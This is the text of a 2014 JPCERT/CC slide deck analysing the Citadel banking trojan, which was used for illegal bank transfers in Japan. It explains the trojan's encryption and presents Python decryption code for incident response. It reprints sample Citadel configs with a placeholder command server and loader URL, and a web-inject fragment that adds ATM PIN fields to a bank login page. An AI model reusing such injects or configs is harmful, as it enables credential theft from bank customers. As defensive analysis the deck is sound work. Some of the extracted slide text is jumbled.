Japan Computer Emergency Response
Team Coordination Center

電子署名者 : Japan Computer Emergency Response Team
Coordination Center
DN : c=JP, st=Tokyo, l=Chiyoda-ku,
email=office@jpcert.or.jp, o=Japan Computer Emergency
Response Team Coordination Center, cn=Japan Computer
Emergency Response Team Coordination Center
日付 : 2014.02.26 15:42:24 +09'00'

Fight Against
Citadel in Japan

2014/02/18
JPCERT/CC Analysis Center
NAKATSURU You

AgendaBackground—Unauthorized Remittance in Japan

Analyzing Citadel—Overview—Encryption

Making of Citadel Decryptor
Citadel Decryptor—Usage—Demo

1

Copyright©2014 JPCERT/CC All rights reserved.

BACKGROUND

2

Copyright©2014 JPCERT/CC All rights reserved.

Illegal Transfer in Japan$14million
Targeting

32 Banks$3million
2011

$500k
2012

2013

http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf
3

Copyright©2014 JPCERT/CC All rights reserved.

Related with Malware

In most cases, passwords are retrieved
and abused through defaced web pages
where malware request users toauthenticate

http://www.npa.go.jp/cyber/pdf/H260131_banking.pdf
4

Copyright©2014 JPCERT/CC All rights reserved.

Banking Trojan

ZeuS

SpyEyeIce IX

CitadelGameOver5

Copyright©2014 JPCERT/CC All rights reserved.

Carberpetc.

Why Citadel?

http://blog.trendmicro.com/trendlabs-security-intelligence/citadel-makes-a-comeback-targets-japan-users/
6

Copyright©2014 JPCERT/CC All rights reserved.

Banking Trojan Incident

Back Connect
Server

AttackerInternet
BankingUser

7

Copyright©2014 JPCERT/CC All rights reserved.

Web
Panel

Web Injects

Internet
BankingUser
8

Copyright©2014 JPCERT/CC All rights reserved.

Web Injects Demo9

Copyright©2014 JPCERT/CC All rights reserved.

Builder & Web Panel

10

Copyright©2014 JPCERT/CC All rights reserved.

Underground Market

11

Copyright©2014 JPCERT/CC All rights reserved.

Our Incident Response

Back Connect
Server

AttackerInternet
Banking

Information
Sharing12

Copyright©2014 JPCERT/CC All rights reserved.

User

Web
Panel

Information We Need

Where

Where
Back Connect
Server

Attacker

WhereInternet
Banking

Which site
is targeted
13

Copyright©2014 JPCERT/CC All rights reserved.

User

How

Web
Panel

ANALYZING CITADEL

14

Copyright©2014 JPCERT/CC All rights reserved.

External Information
LeakedCitadelLeakedZeuS

Web panel

Web panel

Builder

BuilderZeuSsourceWeb panelsourceBuildersourceBinary

Debug
info
15

Copyright©2014 JPCERT/CC All rights reserved.

Blogs
SophosLEXSIAnalysis Method
Surface Analysis• Retrieving information
Runtime Analysis• Monitoring tools, Sandbox anddebugging
Static Analysis• Reading source code, assembly code
16

Copyright©2014 JPCERT/CC All rights reserved.

Static Analysis
Diffing with ZeuS

17

Copyright©2014 JPCERT/CC All rights reserved.

Citadel Overview
Sending report
Web
Injects

Current settings,
etc.
18

Copyright©2014 JPCERT/CC All rights reserved.

Configuration Files
Base Config• Default settings• Encryption key, URL of Dynamic
Config• Encoded and hardcoded
Dynamic Config• Additional settings• HTTP Injection, etc…
• Downloaded from servers
19

Copyright©2014 JPCERT/CC All rights reserved.

Base Config
botnet "CIT"
timer_config 4 9
timer_logs 3 6
timer_stats 4 8
Dynamic Config URL
timer_modules 1 4
timer_autoupdate 8
url_config1 "http://citadelhost/folder/file.php|file=config.dll"
url_config2 "http://reserve-citadelhost/folder/file.php|file=config.dll"
remove_certs 1
disable_cookies 0
encryption_key "key123"
Password to generatereport_software 1
enable_luhn10_get 0
RC4 key
enable_luhn10_post 1
disable_antivirus 0
use_module_video 1
antiemulation_enable 0
disable_httpgrabber 0
use_module_ffcookie 1
20

Copyright©2014 JPCERT/CC All rights reserved.

Dynamic Config
url_loader "http://citadelhost/folder/file.php|file=soft.exe"
url_server "http://citadelhost/folder/gate.php"
file_webinjects "injects.txt"
url_webinjects "http://citadelhost/folder/file.php"
entry "AdvancedConfigs""http://reserve-host1/folder/file.php|file=config.bin"
set_url https://www.wellsfargo.com/ GP"http://reserve-host2/folder/file.php|file=config.bin"
data_before
end<div><strong><label for="userid">Username</laentry "WebFilters""#*wellsfargo.com/*" data_end
data_inject"@*payment.com/*"<input type="text" accesskey="U" id="userid" na"!http://*.com/*.jpg"<DIV><STRONG><LABEL for=userid>ATM Pin</Lend
style="WIDTH: 147px" tabIndex="2" maxLength=<DIV><STRONG><label for="password">Passwo(snip)<input type="password" accesskey="P" id="pass<input type="hidden" name="screenid" value="SI<input type="submit" value="Go" name="btnSign<input type="hidden" id="u_p" name="u_p" value</form>data_end
21

Copyright©2014 JPCERT/CC All rights reserved.

Encryption

22

Copyright©2014 JPCERT/CC All rights reserved.

Encrypted Data

23

Copyright©2014 JPCERT/CC All rights reserved.

Encrypted Data

PacketPOST data(report file)
Dynamic
ConfigAdditional
modules24

Copyright©2014 JPCERT/CC All rights reserved.

File

Registry

ReportCurrent
settings

Backup ofadditional
modules

Backup of
Dynamic
ConfigEncryption Method
AES+• AES encryption and XOR encoding
RC4+• RC4 encryption and XOR encoding
RC4+ * 2• Encryption of RC4+ twice
Installed Data
• AES+ encryption using random generated key when
installd
25

Copyright©2014 JPCERT/CC All rights reserved.

In Case of Dynamic Config
XOR
Base
ConfigUCL
Dynamic
ConfigAES+
26

Copyright©2014 JPCERT/CC All rights reserved.

0x400 Bytes Overlay
Before install

After install

PE filePE fileXOR key

Install setting
Padding27

Copyright©2014 JPCERT/CC All rights reserved.

ID, Install paths,
AES key,
StrageArray key, etc.

Installed data
PaddingEncryption Summary
Category

PacketFile

Registry28

Data

FormatEncryption

ReportEncrypted
BinStrage

RC4+

Dynamic Config

Encrypted
BinStrage

AES+

Additional modules

Executable

RC4+ * 2

Report file

StrageArray

Installed Data

Backup of modules

StrageArray

Installed Data

Backup of Dynamic
ConfigEncrypted
BinStrage

Installed Data

Copyright©2014 JPCERT/CC All rights reserved.

MAKING OF
CITADEL DECRYPTOR
29

Copyright©2014 JPCERT/CC All rights reserved.

Our Goal
Decrypt data & retrieve information for incident
response30

Copyright©2014 JPCERT/CC All rights reserved.

Implementation

31

Python

PyCrypto

pefileUCL

Copyright©2014 JPCERT/CC All rights reserved.

RC4+ Decryption

Get RC4
keystream

RC4

VisualDecrypt

32

Copyright©2014 JPCERT/CC All rights reserved.

RC4+ Implementation
def rc4_plus_decrypt(login_key, base_key, buf):
S1 = base_key['state']
S2 = map(ord, login_key)out = ""
i=j=k=0
for c in buf:i = (i + 1) & 0xFF
j = (j + S1[i]) & 0xFF
S1[i], S1[j] = S1[j], S1[i]out += chr((ord(c) ^ S1[(S1[i]+S1[j])&0xFF])^ S2[k%len(S2)])k += 1
return out
33

Copyright©2014 JPCERT/CC All rights reserved.

AES+ Decryption

Get AESkey
AES
Decrypt
VisualDecrypt

34

Copyright©2014 JPCERT/CC All rights reserved.

AES+ Implementation
def unpack_aes_plus(login_key, base_key, xor_key,
aes_key, data):
aes = AES.new(aes_key)
tmp = aes.decrypt(data)out = ""
for i in range(len(tmp)):out += chr(ord(tmp[i]) ^ord(xor_key[i%len(xor_key)]))return out

35

Copyright©2014 JPCERT/CC All rights reserved.

Decryption Parameter

Base
Config

Installed
Data

RC4 key

StrageArray
key

Salt

Random
AES key

LoginKey

Others

RC4 XOR
key
36

Copyright©2014 JPCERT/CC All rights reserved.

Obtaining Parameterre.compile(".*¥x56¥xBA(..)¥x00¥x00¥x52¥x68(....)¥x50¥xE8....¥x8B¥x0D.*", re.DOTALL)
37

Copyright©2014 JPCERT/CC All rights reserved.

UCL Decompress

http://www.oberhumer.com/opensource/ucl/
38

Copyright©2014 JPCERT/CC All rights reserved.

UCL Decompress using ctypes
def _ucl_decompress(self, data):
ucl = cdll.LoadLibrary(UCL)
compressed = c_buffer(data)
decompressed = c_buffer(DECOMPRESS_MAX_SIZE)
decompressed_size = c_int()
result = ucl.ucl_nrv2b_decompress_le32(
pointer(compressed),c_int(len(compressed.raw)),
pointer(decompressed),pointer(decompressed_size))
return decompressed.raw[:decompressed_size.value]

39

Copyright©2014 JPCERT/CC All rights reserved.

CITADEL DECRYPTOR

40

Copyright©2014 JPCERT/CC All rights reserved.

Environment
Windows + 32bit Python• Citadel Decryptor is only available for 32bit environment

PyCrypto• For AES decryption• Windows binary• http://www.voidspace.org.uk/python/modules.shtml#pycrypto

pefile• A Python module for parsing PE file format (Windows executable)• For parsing PE sections to get decryption params

41

Copyright©2014 JPCERT/CC All rights reserved.

Data Requirement
Encrypted data
Unpacked Citadel• RC4 key
• XOR key for AES+
• XOR key for RC4+ (LOGINKEY)• Salt for RC4+

Installed Citadel• Installed Data
• Random generated AES key• Random generated StrageArray key
42

Copyright©2014 JPCERT/CC All rights reserved.

citadel_decryptor.py
Encrypted data & unpacked module are always
required>citadel_decryptor.py
usage: citadel_decryptor.py [-h] [-n] [-a] [-d][-o OUT] [-D] [-l LOGIN][-k KEY] [-x XOR] [-s SALT][-i INSTALLED][-m MODE] [-v]
DAT EXE
citadel_decryptor.py: error: too few arguments>

43

Copyright©2014 JPCERT/CC All rights reserved.

Cheat Sheet
The following options have to be specified as wellas encrypted data and unpacked Citadel
Category

PacketFile

Data

OptionReport-m2

Dynamic Config-dAdditional modules-m3 -nReport files-a -i [Installed Citadel]

Backup of modules-a -i [Installed Citadel]

Registry Backup of Dynamic Config -d -i [Installed Citadel]
44

Copyright©2014 JPCERT/CC All rights reserved.

Demo

45

Copyright©2014 JPCERT/CC All rights reserved.

Tips
Convert registry data to binary• Export data using regedit & convert them to binary
using the following FileInsight plugin• https://github.com/nmantani/FileInsight-plugins

Unpacking• It is easy to break on APIs
• WriteProcessMemory• CreateProcessW• VirtualFree / VirtualFreeEx / RtlFreeHeap• Dump executable (not after allocated) from virtual
memory• including 0x400 bytes overlay
46

Copyright©2014 JPCERT/CC All rights reserved.

Future Tasks

We already have
• ZeuS Decryptor• Ver 2.0.8.9• Ver 2.9.6.1• Ice IX Decryptor• etc.

We want• Gameover (P2P ZeuS) Decryptor
47

Copyright©2014 JPCERT/CC All rights reserved.

Thank You!
Contact
aa-info@jpcert.or.jp
https://www.jpcert.or.jp
Incident report
info@jpcert.or.jp
https://www.jpcert.or.jp/form/